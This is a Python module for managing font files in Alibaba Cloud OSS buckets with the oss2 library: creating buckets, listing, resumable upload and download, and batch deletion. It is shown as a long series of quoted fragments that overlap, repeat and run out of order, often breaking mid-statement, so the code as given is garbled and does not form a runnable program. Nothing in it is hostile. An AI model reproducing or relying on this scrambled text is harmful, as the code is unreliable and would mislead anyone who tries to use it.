"oss2.Bucket(self.auth, oss_url, bucket_name) # 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self): oss_manager = OssManager() for font_bucket_region",
"failed' % (file_name, fonts_bucket.bucket_name)) def delete_fonts(self, files_names=[], keyword='', pref=''): fonts_buckets = self.get_font_bucket() for",
"font_bucket = oss2.Bucket(self.auth, font_oss_url, bucket_name) yield font_bucket def percentage(self, consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param",
"总数据量 \"\"\" if total_bytes: # time.sleep(30) rate = int(100 * (float(consumed_bytes) / float(total_bytes)))",
"region, bucket_name): oss_url = OssManager.get_oss_url(region, internal_net=False) bucket = oss2.Bucket(self.auth, oss_url, bucket_name) # 设置存储空间为私有读写权限。",
"float(total_bytes))) if rate != 0 and rate % 25 == 0 or rate",
"and rate % 25 == 0 or rate % 50 == 0 or",
"fonts_list = list(map(lambda file_name: os.path.join(fonts_dir, file_name), files_names)) else: fonts_dict = self.get_fonts(keyword=keyword, pref=pref) #",
"fonts_dict: fonts_list = fonts_dict[bucket_name] else: fonts_list = [] print('No fonts matched to be",
"print('Fonts %s to be deleted in bucket %s' % (fonts_names, bucket_name)) self.logger.info('Fonts %s",
"% (len(fonts_list), bucket_name)) self.logger.info('Fonts in bucket : %s ' % bucket_name) for font",
"OssManager() for font_bucket_region in config.ali_fonts_bucket: region = font_bucket_region font_oss_url = oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name",
"% fonts_file) self.upload_fonts(fonts_file) if __name__ == '__main__': bucket_region = 'shanghai' # if you",
"bucket %s' % (file_name, fonts_bucket.bucket_name)) def upload_fonts_files(self): get_fonts_files = get_fonts_from_local() for fonts_file in",
"for font in fonts_list: file_name = font.key if file_name.endswith('tf'): print('%s' % file_name) self.logger.info('%s'",
"<reponame>sunnywalden/oss_management # !/usr/bin/env python # coding=utf-8 # author: <EMAIL> import oss2 import json",
"or rate % 50 == 0 or rate % 75 == 0 or",
"@staticmethod def get_auth(): auth = oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return auth def create_bucket(self, region, bucket_name):",
"os.path.join(fonts_dir, file_name), files_names)) else: fonts_dict = self.get_fonts(keyword=keyword, pref=pref) # print(fonts_dict) if fonts_dict: fonts_list",
"iter(get_fonts_files): print('Fonts to be uploaded to ali oss: %s' % fonts_file) self.logger.info('Fonts to",
"bucket : %s ' % bucket_name) for font in fonts_list: file_name = font.key",
"fonts_list in fonts_dict: for bucket_name in fonts_dict: fonts_list = fonts_dict[bucket_name] print('There is total",
"% (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: self.logger.error( 'Font %s delete from bucket %s failed' %",
"fonts_dict[bucket_name] else: fonts_list = [] print('No fonts matched to be deleted in bucket",
"get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] bucket_name = fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。",
"= config.ali_fonts_bucket[region]['bucket_name'] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] if files_names:",
"[] print('No fonts matched to be deleted in bucket %s' % bucket_name) self.logger.info('No",
"to be deleted in bucket %s' % bucket_name) self.logger.info('No fonts matched to be",
"part_size=100 * 1024, progress_callback=self.percentage, num_threads=4) print('', end='\\n') # print('Upload response: %s' % upload_res)",
"print all fonts in ali oss font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') # # download all",
"= list(map(lambda font_oss_object: font_oss_object.key, fonts_list)) print(fonts_names) print('Fonts %s to be deleted in bucket",
"1024, num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound as en: self.logger.exception('Font %s not found while",
"ali oss font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') # # download all fonts from to local",
"= oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 * 1024, part_size=100 * 1024, progress_callback=self.percentage,",
"internet # self.buck_name = bucket_name @staticmethod def get_auth(): auth = oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return",
"self.logger.info('Fonts storage direction %s' % fonts_dir) fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list = fonts_list_object.object_list",
"font_oss_url = oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket = oss2.Bucket(self.auth, font_oss_url, bucket_name) yield",
"bucket_name) yield font_bucket def percentage(self, consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes: 已经上传/下载的数据量 :param total_bytes:",
"# get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] if files_names: fonts_list =",
"print('No fonts matched to be deleted in bucket %s' % bucket_name) self.logger.info('No fonts",
"delete_res = fonts_bucket.batch_delete_objects(fonts_names) print('Delete response: %s' % delete_res) self.logger.info('Delete response: %s' % delete_res)",
"% file_name) self.logger.info('%s' % file_name) def download_fonts(self, keyword='', pref=''): for fonts_bucket in iter(self.get_font_bucket()):",
"0 or rate % 75 == 0 or rate % 100 == 0:",
"75 == 0 or rate % 100 == 0: print(' {0}% '.format(rate), end='",
"end=' ') sys.stdout.flush() def upload_fonts(self, file_path): file_name = file_path.split('/')[-1] fonts_buckets = self.get_font_bucket() for",
"= list(map(lambda file_name: os.path.join(fonts_dir, file_name), files_names)) else: fonts_dict = self.get_fonts(keyword=keyword, pref=pref) # print(fonts_dict)",
"are not in a aliyun env, please set it to False inter_net =",
"= config.ali_fonts_bucket[region]['font_dir'] if files_names: fonts_list = list(map(lambda file_name: os.path.join(fonts_dir, file_name), files_names)) else: fonts_dict",
"delete_res) self.logger.info('Delete response: %s' % delete_res) if delete_res.status == 200 or delete_res.resp.status ==",
"(file_name, fonts_bucket.bucket_name)) else: print('Font %s upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name))",
"(fonts_names, bucket_name)) delete_res = fonts_bucket.batch_delete_objects(fonts_names) print('Delete response: %s' % delete_res) self.logger.info('Delete response: %s'",
"upload_res) if upload_res.status == 200 or upload_res.resp.status == \"OK\": print('Font %s upload to",
"delete_res.status == 200 or delete_res.resp.status == \"OK\": self.logger.info( 'Font %s delete from bucket",
"keyword='', pref=''): fonts_dict = {} for fonts_bucket in iter(self.get_font_bucket()): # get bucket region",
"try: oss2.resumable_download(fonts_bucket, font_file, '../downloads/' + font_file, part_size=100 * 1024, num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except",
"to be deleted in bucket %s' % bucket_name) break if fonts_list: fonts_names =",
"not in a aliyun env, please set it to False inter_net = False",
"oss_url, bucket_name) # 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self): oss_manager = OssManager() for font_bucket_region in",
"= internet # self.buck_name = bucket_name @staticmethod def get_auth(): auth = oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret)",
"max_keys=1000) fonts_list = fonts_list_object.object_list fonts_names = list(filter( lambda fonts_name: keyword in fonts_name.key and",
"= self.get_font_bucket() for fonts_bucket in fonts_buckets: # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info()",
"config.ali_fonts_bucket[region]['font_dir'] bucket_name = fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。 oss_object_list = oss2.ObjectIterator(fonts_bucket) for font_file in oss_object_list:",
"list(map(lambda font_oss_object: font_oss_object.key, fonts_list)) print(fonts_names) print('Fonts %s to be deleted in bucket %s'",
"import OssManager class BucketManager: def __init__(self, internet=True): log = Log() self.logger = log.logger_generate('bucket_manage')",
"import config from aliOss.oss_manage import OssManager class BucketManager: def __init__(self, internet=True): log =",
"' % bucket_name) for font in fonts_list: file_name = font.key if file_name.endswith('tf'): print('%s'",
"self.logger.exception('Font %s not found while download fonts' % font_file) except Exception as e:",
"in a aliyun env, please set it to False inter_net = False bk_manage",
"python # coding=utf-8 # author: <EMAIL> import oss2 import json import base64 import",
"and fonts_dir in font_file.key: print('fonts %s matched for download in bucket %s' %",
"25 == 0 or rate % 50 == 0 or rate % 75",
"get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage direction %s' %",
"= fonts_dict[bucket_name] else: fonts_list = [] print('No fonts matched to be deleted in",
"fonts matched to be deleted in bucket %s' % bucket_name) self.logger.info('No fonts matched",
"in ali oss font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') # # download all fonts from to",
"e)) else: # print('fonts %s not matched for download in bucket %s' %",
"%s upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) self.logger.info('Font %s upload to",
"env, please set it to False inter_net = False bk_manage = BucketManager(internet=inter_net) #",
"fonts %s: %s' % (font_file, e)) else: # print('fonts %s not matched for",
"download_fonts(self, keyword='', pref=''): for fonts_bucket in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info =",
"import os import sys import time from itertools import islice from utils.get_logger import",
"self.logger.info( 'Font %s delete from bucket %s successed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: self.logger.error(",
"def delete_fonts(self, files_names=[], keyword='', pref=''): fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: #",
"progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound as en: self.logger.exception('Font %s not found while download fonts'",
"oss2.ObjectIteratorr用于遍历文件。 oss_object_list = oss2.ObjectIterator(fonts_bucket) for font_file in oss_object_list: file_name = font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf')",
"get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] # get font bucket",
"font_oss_url, bucket_name) yield font_bucket def percentage(self, consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes: 已经上传/下载的数据量 :param",
"import base64 import os import sys import time from itertools import islice from",
"'shanghai' # if you are not in a aliyun env, please set it",
"bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage direction %s' % fonts_dir) fonts_list_object",
"auth def create_bucket(self, region, bucket_name): oss_url = OssManager.get_oss_url(region, internal_net=False) bucket = oss2.Bucket(self.auth, oss_url,",
"upload_res = oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 * 1024, part_size=100 * 1024,",
"self.logger.info('No fonts matched to be deleted in bucket %s' % bucket_name) break if",
"%s' % delete_res) self.logger.info('Delete response: %s' % delete_res) if delete_res.status == 200 or",
"% 50 == 0 or rate % 75 == 0 or rate %",
"upload_fonts_files(self): get_fonts_files = get_fonts_from_local() for fonts_file in iter(get_fonts_files): print('Fonts to be uploaded to",
"for bucket_name in fonts_dict: fonts_list = fonts_dict[bucket_name] print('There is total %s Fonts in",
"bucket %s' % (fonts_names, bucket_name)) self.logger.info('Fonts %s to be deleted in bucket %s'",
"font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf') and keyword in file_name and file_name.startswith(pref) and fonts_dir in font_file.key:",
"in fonts_buckets: # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] #",
"% (fonts_names, bucket_name)) self.logger.info('Fonts %s to be deleted in bucket %s' % (fonts_names,",
"region = font_bucket_region font_oss_url = oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket = oss2.Bucket(self.auth,",
"print(fonts_dict) if fonts_dict: fonts_list = fonts_dict[bucket_name] else: fonts_list = [] print('No fonts matched",
"= fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。 oss_object_list = oss2.ObjectIterator(fonts_bucket) for font_file in oss_object_list: file_name =",
"failed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: pass def get_fonts(self, keyword='', pref=''): fonts_dict = {}",
"download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket, font_file, '../downloads/' + font_file,",
"%s not found while download fonts' % font_file) except Exception as e: self.logger.exception('Exception",
"# 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self): oss_manager = OssManager() for font_bucket_region in config.ali_fonts_bucket: region",
"* 1024, progress_callback=self.percentage, num_threads=4) print('', end='\\n') # print('Upload response: %s' % upload_res) if",
"to be deleted in bucket %s' % (fonts_names, bucket_name)) delete_res = fonts_bucket.batch_delete_objects(fonts_names) print('Delete",
"* 1024, part_size=100 * 1024, progress_callback=self.percentage, num_threads=4) print('', end='\\n') # print('Upload response: %s'",
"from utils.get_logger import Log from utils.fonts_scanner import get_fonts_from_local from conf import config from",
"' % (len(fonts_list), bucket_name)) self.logger.info('Fonts in bucket : %s ' % bucket_name) for",
"./downloads/ # bk_manage.download_fonts(keyword='test', pref='test') # bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') # upload all fonts in local",
"for fonts_bucket in fonts_buckets: # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region =",
"% bucket_name) for font in fonts_list: file_name = font.key if file_name.endswith('tf'): print('%s' %",
"+ font_file, part_size=100 * 1024, num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound as en: self.logger.exception('Font",
"not found while download fonts' % font_file) except Exception as e: self.logger.exception('Exception catched",
"# for bucket_name, fonts_list in fonts_dict: for bucket_name in fonts_dict: fonts_list = fonts_dict[bucket_name]",
"\"\"\" if total_bytes: # time.sleep(30) rate = int(100 * (float(consumed_bytes) / float(total_bytes))) if",
"internal_net=False) bucket = oss2.Bucket(self.auth, oss_url, bucket_name) # 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self): oss_manager =",
"200 or upload_res.resp.status == \"OK\": print('Font %s upload to bucket %s successed' %",
"fonts_dict = self.get_fonts(keyword=keyword, pref=pref) # print(fonts_dict) if fonts_dict: fonts_list = fonts_dict[bucket_name] else: fonts_list",
"internal_net=self.inter_net) bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket = oss2.Bucket(self.auth, font_oss_url, bucket_name) yield font_bucket def percentage(self,",
"if __name__ == '__main__': bucket_region = 'shanghai' # if you are not in",
"= oss2.ObjectIterator(fonts_bucket) for font_file in oss_object_list: file_name = font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf') and keyword",
"file_name: os.path.join(fonts_dir, file_name), files_names)) else: fonts_dict = self.get_fonts(keyword=keyword, pref=pref) # print(fonts_dict) if fonts_dict:",
"pref='AlibabaSans') # upload all fonts in local dir ./fonts/ # bk_manage.upload_fonts_files() # bk_manage.delete_fonts(keyword='test',",
"% (file_name, fonts_bucket.bucket_name)) else: print('Font %s upload to bucket %s failed' % (file_name,",
"please set it to False inter_net = False bk_manage = BucketManager(internet=inter_net) # print",
"or rate % 100 == 0: print(' {0}% '.format(rate), end=' ') sys.stdout.flush() def",
"in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket, font_file, '../downloads/' + font_file, part_size=100",
"from bucket %s failed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: pass def get_fonts(self, keyword='', pref=''):",
"from conf import config from aliOss.oss_manage import OssManager class BucketManager: def __init__(self, internet=True):",
"get_auth(): auth = oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return auth def create_bucket(self, region, bucket_name): oss_url =",
"dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] upload_res = oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 *",
"print('%s' % file_name) self.logger.info('%s' % file_name) def download_fonts(self, keyword='', pref=''): for fonts_bucket in",
"rate % 100 == 0: print(' {0}% '.format(rate), end=' ') sys.stdout.flush() def upload_fonts(self,",
"= fonts_names return fonts_dict def print_fonts(self, keyword='', pref=''): fonts_dict = self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict)",
"sys import time from itertools import islice from utils.get_logger import Log from utils.fonts_scanner",
"% delete_res) self.logger.info('Delete response: %s' % delete_res) if delete_res.status == 200 or delete_res.resp.status",
"font_bucket_region in config.ali_fonts_bucket: region = font_bucket_region font_oss_url = oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name']",
"= bucket_name @staticmethod def get_auth(): auth = oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return auth def create_bucket(self,",
"else: fonts_list = [] print('No fonts matched to be deleted in bucket %s'",
"bucket_name)) self.logger.info('Fonts in bucket : %s ' % bucket_name) for font in fonts_list:",
"oss_object_list: file_name = font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf') and keyword in file_name and file_name.startswith(pref) and",
"oss_url = OssManager.get_oss_url(region, internal_net=False) bucket = oss2.Bucket(self.auth, oss_url, bucket_name) # 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def",
"0 and rate % 25 == 0 or rate % 50 == 0",
"config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage direction %s' % fonts_dir) fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list =",
"fonts_bucket.bucket_name)) def upload_fonts_files(self): get_fonts_files = get_fonts_from_local() for fonts_file in iter(get_fonts_files): print('Fonts to be",
"# print('Upload response: %s' % upload_res) if upload_res.status == 200 or upload_res.resp.status ==",
"matched for download in bucket %s' % (file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts %s not matched",
"sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] upload_res = oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100",
"= Log() self.logger = log.logger_generate('bucket_manage') self.auth = self.get_auth() # self.region = region self.inter_net",
"config.ali_fonts_bucket[region]['font_dir'] if files_names: fonts_list = list(map(lambda file_name: os.path.join(fonts_dir, file_name), files_names)) else: fonts_dict =",
"total_bytes: 总数据量 \"\"\" if total_bytes: # time.sleep(30) rate = int(100 * (float(consumed_bytes) /",
"<EMAIL> import oss2 import json import base64 import os import sys import time",
"bucket %s failed' % (file_name, fonts_bucket.bucket_name)) def delete_fonts(self, files_names=[], keyword='', pref=''): fonts_buckets =",
"fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir",
"% (file_name, fonts_bucket.bucket_name)) self.logger.info('Font %s upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name))",
"font.key if file_name.endswith('tf'): print('%s' % file_name) self.logger.info('%s' % file_name) def download_fonts(self, keyword='', pref=''):",
"% 75 == 0 or rate % 100 == 0: print(' {0}% '.format(rate),",
"pref=''): for fonts_bucket in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region",
"else: pass def get_fonts(self, keyword='', pref=''): fonts_dict = {} for fonts_bucket in iter(self.get_font_bucket()):",
"font_oss_object.key, fonts_list)) print(fonts_names) print('Fonts %s to be deleted in bucket %s' % (fonts_names,",
"os import sys import time from itertools import islice from utils.get_logger import Log",
"self.buck_name = bucket_name @staticmethod def get_auth(): auth = oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return auth def",
"matched for download in bucket %s' % (file_name, fonts_bucket.bucket_name)) def upload_fonts_files(self): get_fonts_files =",
"pref=''): fonts_dict = {} for fonts_bucket in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info",
"file_path.split('/')[-1] fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: # get bucket region fonts_bucket_info",
"print('Font %s upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) self.logger.info('Font %s upload",
"bucket %s' % bucket_name) break if fonts_list: fonts_names = list(map(lambda font_oss_object: font_oss_object.key, fonts_list))",
"download fonts %s: %s' % (font_file, e)) else: # print('fonts %s not matched",
"all fonts from to local dir ./downloads/ # bk_manage.download_fonts(keyword='test', pref='test') # bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans')",
"sys.stdout.flush() def upload_fonts(self, file_path): file_name = file_path.split('/')[-1] fonts_buckets = self.get_font_bucket() for fonts_bucket in",
"bucket %s' % bucket_name) self.logger.info('No fonts matched to be deleted in bucket %s'",
"region = fonts_bucket_info.location.split('-')[-1] bucket_name = config.ali_fonts_bucket[region]['bucket_name'] # get font bucket sotorage dir fonts_dir",
"= fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list = fonts_list_object.object_list fonts_names = list(filter( lambda fonts_name: keyword in",
"self.logger.info('Font %s upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) else: print('Font %s",
"fonts_names = list(filter( lambda fonts_name: keyword in fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name] =",
"download in bucket %s' % (file_name, fonts_bucket.bucket_name)) def upload_fonts_files(self): get_fonts_files = get_fonts_from_local() for",
"get_fonts(self, keyword='', pref=''): fonts_dict = {} for fonts_bucket in iter(self.get_font_bucket()): # get bucket",
"base64 import os import sys import time from itertools import islice from utils.get_logger",
"from utils.fonts_scanner import get_fonts_from_local from conf import config from aliOss.oss_manage import OssManager class",
"bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage",
"%s delete from bucket %s failed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: pass def get_fonts(self,",
"be deleted in bucket %s' % (fonts_names, bucket_name)) self.logger.info('Fonts %s to be deleted",
"% (file_name, fonts_bucket.bucket_name)) def upload_fonts_files(self): get_fonts_files = get_fonts_from_local() for fonts_file in iter(get_fonts_files): print('Fonts",
"end='\\n') # print('Upload response: %s' % upload_res) if upload_res.status == 200 or upload_res.resp.status",
"(font_file.key, fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket, font_file, '../downloads/' + font_file, part_size=100 * 1024, num_threads=3, progress_callback=self.percentage,",
"pref=pref) print(fonts_dict) # for bucket_name, fonts_list in fonts_dict: for bucket_name in fonts_dict: fonts_list",
"# author: <EMAIL> import oss2 import json import base64 import os import sys",
"you are not in a aliyun env, please set it to False inter_net",
"fonts_names return fonts_dict def print_fonts(self, keyword='', pref=''): fonts_dict = self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict) #",
"fonts_dir = config.ali_fonts_bucket[region]['font_dir'] upload_res = oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 * 1024,",
"% upload_res) if upload_res.status == 200 or upload_res.resp.status == \"OK\": print('Font %s upload",
"failed' % (file_name, fonts_bucket.bucket_name)) self.logger.error('Font %s upload to bucket %s failed' % (file_name,",
"fonts_dict = self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict) # for bucket_name, fonts_list in fonts_dict: for bucket_name",
"ali oss: %s' % fonts_file) self.logger.info('Fonts to be uploaded to ali oss: %s'",
"%s' % fonts_file) self.upload_fonts(fonts_file) if __name__ == '__main__': bucket_region = 'shanghai' # if",
"fonts_list: fonts_names = list(map(lambda font_oss_object: font_oss_object.key, fonts_list)) print(fonts_names) print('Fonts %s to be deleted",
"except Exception as e: self.logger.exception('Exception catched while download fonts %s: %s' % (font_file,",
"auth = oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return auth def create_bucket(self, region, bucket_name): oss_url = OssManager.get_oss_url(region,",
"download in bucket %s' % (file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts %s not matched for download",
"self.upload_fonts(fonts_file) if __name__ == '__main__': bucket_region = 'shanghai' # if you are not",
"from bucket %s successed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: self.logger.error( 'Font %s delete from",
"in fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name] = fonts_names return fonts_dict def print_fonts(self, keyword='',",
"import Log from utils.fonts_scanner import get_fonts_from_local from conf import config from aliOss.oss_manage import",
"sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] if files_names: fonts_list = list(map(lambda file_name: os.path.join(fonts_dir, file_name),",
"fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage direction",
"to ali oss: %s' % fonts_file) self.upload_fonts(fonts_file) if __name__ == '__main__': bucket_region =",
"in fonts_dict: fonts_list = fonts_dict[bucket_name] print('There is total %s Fonts in bucket:%s '",
"oss2.resumable_download(fonts_bucket, font_file, '../downloads/' + font_file, part_size=100 * 1024, num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound",
"= [] print('No fonts matched to be deleted in bucket %s' % bucket_name)",
"oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return auth def create_bucket(self, region, bucket_name): oss_url = OssManager.get_oss_url(region, internal_net=False) bucket",
"and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name] = fonts_names return fonts_dict def print_fonts(self, keyword='', pref=''): fonts_dict",
"region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] bucket_name = config.ali_fonts_bucket[region]['bucket_name'] # get font",
"get_font_bucket(self): oss_manager = OssManager() for font_bucket_region in config.ali_fonts_bucket: region = font_bucket_region font_oss_url =",
"response: %s' % upload_res) if upload_res.status == 200 or upload_res.resp.status == \"OK\": print('Font",
"= int(100 * (float(consumed_bytes) / float(total_bytes))) if rate != 0 and rate %",
"'Font %s delete from bucket %s failed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: pass def",
"upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) def delete_fonts(self, files_names=[], keyword='', pref=''):",
"self.logger.info('Delete response: %s' % delete_res) if delete_res.status == 200 or delete_res.resp.status == \"OK\":",
"to be deleted in bucket %s' % (fonts_names, bucket_name)) self.logger.info('Fonts %s to be",
"{} for fonts_bucket in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region",
"islice from utils.get_logger import Log from utils.fonts_scanner import get_fonts_from_local from conf import config",
"successed' % (file_name, fonts_bucket.bucket_name)) self.logger.info('Font %s upload to bucket %s successed' % (file_name,",
"= fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir =",
"fonts_list: file_name = font.key if file_name.endswith('tf'): print('%s' % file_name) self.logger.info('%s' % file_name) def",
"keyword='', pref=''): fonts_dict = self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict) # for bucket_name, fonts_list in fonts_dict:",
"fonts_list)) fonts_dict[fonts_bucket.bucket_name] = fonts_names return fonts_dict def print_fonts(self, keyword='', pref=''): fonts_dict = self.get_fonts(keyword=keyword,",
"print('fonts %s not matched for download in bucket %s' % (file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts",
"bucket %s successed' % (file_name, fonts_bucket.bucket_name)) else: print('Font %s upload to bucket %s",
"sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage direction %s' % fonts_dir) fonts_list_object =",
"fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] bucket_name = config.ali_fonts_bucket[region]['bucket_name'] # get font bucket",
"print_fonts(self, keyword='', pref=''): fonts_dict = self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict) # for bucket_name, fonts_list in",
"== 200 or delete_res.resp.status == \"OK\": self.logger.info( 'Font %s delete from bucket %s",
"(file_name, fonts_bucket.bucket_name)) def delete_fonts(self, files_names=[], keyword='', pref=''): fonts_buckets = self.get_font_bucket() for fonts_bucket in",
"fonts_bucket_info.location.split('-')[-1] bucket_name = config.ali_fonts_bucket[region]['bucket_name'] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir']",
"and keyword in file_name and file_name.startswith(pref) and fonts_dir in font_file.key: print('fonts %s matched",
"store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound as en: self.logger.exception('Font %s not found while download fonts' %",
"for bucket_name, fonts_list in fonts_dict: for bucket_name in fonts_dict: fonts_list = fonts_dict[bucket_name] print('There",
"to ali oss: %s' % fonts_file) self.logger.info('Fonts to be uploaded to ali oss:",
"download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) self.logger.info( 'fonts %s matched for download",
"= fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] upload_res =",
"设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self): oss_manager = OssManager() for font_bucket_region in config.ali_fonts_bucket: region =",
"in font_file.key: print('fonts %s matched for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name))",
